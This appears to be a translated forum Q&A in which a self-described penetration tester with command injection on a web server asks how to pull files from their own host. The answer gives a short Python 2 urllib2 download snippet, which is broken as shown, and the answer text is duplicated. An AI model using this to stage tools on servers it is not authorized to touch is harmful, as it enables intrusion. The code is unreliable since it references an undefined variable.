2024-09-28 03:21:45 发布
网友
我在找一些关于Python脚本的帮助
我正在做一个pentesting项目,并获得了在系统wwwroot目录下进行命令注入和写入文件的权限。ftp和telnet都在系统上,但我没有权限访问它们。在这一点上真正有用的是Python26,它在系统上,我可以使用。 不过,我对现实生活中的Python知之甚少
我的想法是。。。有没有一种方法可以使用Python脚本回调到主机并从主机获取文件?如果是这样的话,有没有人对如何为此编写脚本有什么建议
提前谢谢
import urllib2 file = "success2.txt" url = "http://xx.xx.xx.xx/test.txt" fh = open(file, "w") fh.write(response.read()) fh.close()
所以这就是我在@furas的建议下所做的
我做了更多的研究发现: http://www.pythonforbeginners.com/python-on-the-web/how-to-use-urllib2-in-python/
这解释得很好
希望这对将来有帮助
因为我理解代码。 首先设置要写入的变量“file”(对于远程使用,绝对路径可能很重要) 然后设置文件所在的url和文件名
然后将代码写入到要写入的文件中。然后它从url中写入它打开的文件
与ftp不同的是,它似乎不会直接“复制”文件。因此,您可能需要在fh=open(文件“w”)中使用“wb”,它对二进制文件做一些处理。我不是100%的w和wb之间的差异,但这种方法对我有效
所以这就是我在@furas的建议下所做的
我做了更多的研究发现: http://www.pythonforbeginners.com/python-on-the-web/how-to-use-urllib2-in-python/
这解释得很好
希望这对将来有帮助
因为我理解代码。 首先设置要写入的变量“file”(对于远程使用,绝对路径可能很重要) 然后设置文件所在的url和文件名
然后将代码写入到要写入的文件中。然后它从url中写入它打开的文件
与ftp不同的是,它似乎不会直接“复制”文件。因此,您可能需要在fh=open(文件“w”)中使用“wb”,它对二进制文件做一些处理。我不是100%的w和wb之间的差异,但这种方法对我有效
相关问题 更多 >
编程相关推荐